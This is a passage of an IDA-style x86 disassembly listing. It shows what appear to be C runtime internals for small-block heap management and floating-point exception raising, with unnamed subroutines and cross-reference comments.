		mov	[eax], ecx
		lea	eax, [edx+4]


loc_413B3A:				; CODE XREF: sub_413836+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_413836	endp


; =============== S U B	R O U T	I N E =======================================



sub_413B3F	proc near		; CODE XREF: sub_413836+CCp
		mov	eax, ds:dword_460178
		mov	ecx, ds:dword_460168
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_413B82
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	ds:dword_46017C
		push	edi
		push	ds:dword_460180
		call	ds:dword_41C154	; RtlReAllocateHeap
		cmp	eax, edi
		jz	short loc_413BD2
		add	ds:dword_460168, 10h
		mov	ds:dword_46017C, eax
		mov	eax, ds:dword_460178


loc_413B82:				; CODE XREF: sub_413B3F+11j
		mov	ecx, ds:dword_46017C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	ds:dword_460180
		lea	esi, [ecx+eax*4]
		call	ds:dword_41C140	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_413BD2
		push	4
		push	2000h
		push	100000h
		push	edi
		call	ds:dword_41C170	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_413BD6
		push	dword ptr [esi+10h]
		push	edi
		push	ds:dword_460180
		call	ds:dword_41C144	; RtlFreeHeap


loc_413BD2:				; CODE XREF: sub_413B3F+30j
					; sub_413B3F+67j
		xor	eax, eax
		jmp	short loc_413BED
; ---------------------------------------------------------------------------


loc_413BD6:				; CODE XREF: sub_413B3F+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	ds:dword_460178
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_413BED:				; CODE XREF: sub_413B3F+95j
		pop	edi
		pop	esi
		retn
sub_413B3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413BF0	proc near		; CODE XREF: sub_413836+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_413C02:				; CODE XREF: sub_413BF0+19j
		test	eax, eax
		jl	short loc_413C0B
		shl	eax, 1
		inc	ebx
		jmp	short loc_413C02
; ---------------------------------------------------------------------------


loc_413C0B:				; CODE XREF: sub_413BF0+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_413C20:				; CODE XREF: sub_413BF0+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_413C20
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	ds:dword_41C170	; VirtualAlloc
		test	eax, eax
		jnz	short loc_413C53
		or	eax, 0FFFFFFFFh
		jmp	loc_413CE6
; ---------------------------------------------------------------------------


loc_413C53:				; CODE XREF: sub_413BF0+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_413C99
		lea	eax, [edi+10h]


loc_413C60:				; CODE XREF: sub_413BF0+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_413C60


loc_413C99:				; CODE XREF: sub_413BF0+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_413CD6
		or	[eax+4], edi


loc_413CD6:				; CODE XREF: sub_413BF0+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_413CE6:				; CODE XREF: sub_413BF0+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_413BF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413CEB	proc near		; CODE XREF: sub_41230F+58p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_413E99
		test	bl, 1
		jnz	loc_413E92
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_413E92
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_413D62
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_413D62:				; CODE XREF: sub_413CEB+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_413DB2
		cmp	ecx, 20h
		jnb	short loc_413D8E
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_413DB2
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_413DB2
; ---------------------------------------------------------------------------


loc_413D8E:				; CODE XREF: sub_413CEB+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_413DB2
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_413DB2:				; CODE XREF: sub_413CEB+7Dj
					; sub_413CEB+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_413E80
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_413DEC
		push	3Fh
		pop	edi


loc_413DEC:				; CODE XREF: sub_413CEB+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_413E6E
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_413E45
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_413E38
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_413E38:				; CODE XREF: sub_413CEB+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_413E6A
; ---------------------------------------------------------------------------


loc_413E45:				; CODE XREF: sub_413CEB+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_413E5B
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_413E5B:				; CODE XREF: sub_413CEB+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_413E6A:				; CODE XREF: sub_413CEB+158j
		shr	edx, cl
		or	[eax], edx


loc_413E6E:				; CODE XREF: sub_413CEB+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_413E83
; ---------------------------------------------------------------------------


loc_413E80:				; CODE XREF: sub_413CEB+E5j
		mov	edx, [ebp+arg_4]


loc_413E83:				; CODE XREF: sub_413CEB+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_413FD9
; ---------------------------------------------------------------------------


loc_413E92:				; CODE XREF: sub_413CEB+52j
					; sub_413CEB+5Cj
		xor	eax, eax
		jmp	loc_413FDC
; ---------------------------------------------------------------------------


loc_413E99:				; CODE XREF: sub_413CEB+49j
		jge	loc_413FD9
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_413EC4
		push	3Fh
		pop	esi


loc_413EC4:				; CODE XREF: sub_413CEB+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_413F53
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_413EDD
		push	3Fh
		pop	esi


loc_413EDD:				; CODE XREF: sub_413CEB+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_413F2C
		cmp	esi, 20h
		jnb	short loc_413F08
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_413F29
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_413F29
; ---------------------------------------------------------------------------


loc_413F08:				; CODE XREF: sub_413CEB+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_413F29
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_413F29:				; CODE XREF: sub_413CEB+214j
					; sub_413CEB+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_413F2C:				; CODE XREF: sub_413CEB+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_413F53
		push	3Fh
		pop	esi


loc_413F53:				; CODE XREF: sub_413CEB+1DDj
					; sub_413CEB+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_413FD0
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_413FA7
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_413F9A
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_413F9A:				; CODE XREF: sub_413CEB+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_413FCC
; ---------------------------------------------------------------------------


loc_413FA7:				; CODE XREF: sub_413CEB+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_413FBD
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_413FBD:				; CODE XREF: sub_413CEB+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_413FCC:				; CODE XREF: sub_413CEB+2BAj
		shr	edx, cl
		or	[eax], edx


loc_413FD0:				; CODE XREF: sub_413CEB+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_413FD9:				; CODE XREF: sub_413CEB+1A2j
					; sub_413CEB:loc_413E99j
		push	1
		pop	eax


loc_413FDC:				; CODE XREF: sub_413CEB+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_413CEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_413FE1(int, int, double, int)

sub_413FE1	proc near		; CODE XREF: sub_410B8E+51p
					; sub_410CD7+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	ds:dword_42E198, 0
		jnz	short loc_414016
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_414596
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_414016:				; CODE XREF: sub_413FE1+Aj
		push	0FFFFh
		mov	ds:dword_45EB14, 21h
		push	[ebp+arg_C]
		call	sub_414809
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_413FE1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_414034(int, int, double, double, int)

sub_414034	proc near		; CODE XREF: sub_410B8E:loc_410C51p
					; sub_410CD7:loc_410D9Ap

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_41437F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_414072
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4140CC
		add	esp, 18h


loc_414072:				; CODE XREF: sub_414034+1Aj
		push	[ebp+arg_0]
		call	sub_414669
		cmp	ds:dword_42E198, 0
		pop	ecx
		jnz	short loc_4140B0
		test	eax, eax
		jz	short loc_4140B0
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_414596
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_4140B0:				; CODE XREF: sub_414034+4Ej
					; sub_414034+52j
		push	eax
		call	sub_41461E
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_414809
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_414034	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4140CC	proc near		; CODE XREF: sub_414034+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_4140FE
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_4140FE:				; CODE XREF: sub_4140CC+23j
		test	cl, 2
		jz	short loc_414111
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_414111:				; CODE XREF: sub_4140CC+35j
		test	cl, bl
		jz	short loc_414123
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_414123:				; CODE XREF: sub_4140CC+47j
		test	cl, 4
		jz	short loc_414136
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_414136:				; CODE XREF: sub_4140CC+5Aj
		test	cl, 8
		jz	short loc_414149
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_414149:				; CODE XREF: sub_4140CC+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_4147EC
		test	al, bl
		jz	short loc_4141D2
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_4141D2:				; CODE XREF: sub_4140CC+FDj
		test	al, 4
		jz	short loc_4141DD
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_4141DD:				; CODE XREF: sub_4140CC+108j
		test	al, 8
		jz	short loc_4141E8
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_4141E8:				; CODE XREF: sub_4140CC+113j
		test	al, 10h
		jz	short loc_4141F2
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_4141F2:				; CODE XREF: sub_4140CC+11Ej
		test	al, 20h
		jz	short loc_4141FC
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_4141FC:				; CODE XREF: sub_4140CC+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_41423B
		cmp	eax, 400h
		jz	short loc_41422D
		cmp	eax, 800h
		jz	short loc_414221
		cmp	eax, ecx
		jnz	short loc_414241
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_414241
; ---------------------------------------------------------------------------


loc_414221:				; CODE XREF: sub_4140CC+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_414237
; ---------------------------------------------------------------------------


loc_41422D:				; CODE XREF: sub_4140CC+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_414237:				; CODE XREF: sub_4140CC+15Fj
		mov	[eax], ecx
		jmp	short loc_414241
; ---------------------------------------------------------------------------


loc_41423B:				; CODE XREF: sub_4140CC+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_414241:				; CODE XREF: sub_4140CC+14Bj
					; sub_4140CC+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_41426C
		cmp	eax, 200h
		jz	short loc_41425F
		cmp	eax, ecx
		jnz	short loc_414279
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_414279
; ---------------------------------------------------------------------------


loc_41425F:				; CODE XREF: sub_4140CC+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_414277
; ---------------------------------------------------------------------------


loc_41426C:				; CODE XREF: sub_4140CC+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_414277:				; CODE XREF: sub_4140CC+19Ej
		mov	[eax], ecx


loc_414279:				; CODE XREF: sub_4140CC+189j
					; sub_4140CC+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_4147FA
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	ds:dword_41C178	; RaiseException
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_4142F3
		and	dword ptr [esi], 0FFFFFFFEh


loc_4142F3:				; CODE XREF: sub_4140CC+222j
		test	byte ptr [eax+8], 8
		jz	short loc_4142FC
		and	dword ptr [esi], 0FFFFFFFBh


loc_4142FC:				; CODE XREF: sub_4140CC+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_414305
		and	dword ptr [esi], 0FFFFFFF7h


loc_414305:				; CODE XREF: sub_4140CC+234j
		test	byte ptr [eax+8], 2
		jz	short loc_41430E
		and	dword ptr [esi], 0FFFFFFEFh


loc_41430E:				; CODE XREF: sub_4140CC+23Dj
		test	[eax+8], bl
		jz	short loc_414316
		and	dword ptr [esi], 0FFFFFFDFh


loc_414316:				; CODE XREF: sub_4140CC+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_41434A
		dec	ecx
		jz	short loc_41433E
		dec	ecx
		jz	short loc_414334
		dec	ecx
		jnz	short loc_41434C
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_41434C
; ---------------------------------------------------------------------------


loc_414334:				; CODE XREF: sub_4140CC+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_414346
; ---------------------------------------------------------------------------


loc_41433E:				; CODE XREF: sub_4140CC+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_414346:				; CODE XREF: sub_4140CC+270j
		mov	[esi], ecx
		jmp	short loc_41434C
; ---------------------------------------------------------------------------


loc_41434A:				; CODE XREF: sub_4140CC+257j
		and	[esi], edx


loc_41434C:				; CODE XREF: sub_4140CC+260j
					; sub_4140CC+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_41436C
		dec	ecx
		jz	short loc_414363
		dec	ecx
		jnz	short loc_414375
		and	[esi], edx
		jmp	short loc_414375
; ---------------------------------------------------------------------------


loc_414363:				; CODE XREF: sub_4140CC+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_414373
; ---------------------------------------------------------------------------


loc_41436C:				; CODE XREF: sub_4140CC+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_414373:				; CODE XREF: sub_4140CC+29Ej
		mov	[esi], ecx


loc_414375:				; CODE XREF: sub_4140CC+291j
					; sub_4140CC+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4140CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41437F	proc near		; CODE XREF: sub_414034+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_4143AA
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_4143AA
		push	ebx
		call	sub_41482C
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_414574
; ---------------------------------------------------------------------------


loc_4143AA:				; CODE XREF: sub_41437F+15j
					; sub_41437F+1Aj
		test	al, 4
		jz	short loc_4143C4
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_4143C4
		push	4
		call	sub_41482C
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_414574
; ---------------------------------------------------------------------------


loc_4143C4:				; CODE XREF: sub_41437F+2Dj
					; sub_41437F+33j
		test	al, bl
		jz	loc_41449E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_41449E
		push	8
		call	sub_41482C
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_414476
		cmp	ecx, 400h
		jz	short loc_41444E
		cmp	ecx, 800h
		jz	short loc_414426
		cmp	ecx, eax
		jnz	loc_414496
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_41C7A8
		fld	ds:dbl_42DB28
		fnstsw	ax
		sahf
		ja	short loc_41441E
		fchs


loc_41441E:				; CODE XREF: sub_41437F+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_414494
; ---------------------------------------------------------------------------


loc_414426:				; CODE XREF: sub_41437F+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_41C7A8
		fnstsw	ax
		sahf
		jbe	short loc_41443E
		fld	ds:dbl_42DB18
		jmp	short loc_414446
; ---------------------------------------------------------------------------


loc_41443E:				; CODE XREF: sub_41437F+B5j
		fld	ds:dbl_42DB28
		fchs


loc_414446:				; CODE XREF: sub_41437F+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_414494
; ---------------------------------------------------------------------------


loc_41444E:				; CODE XREF: sub_41437F+75j
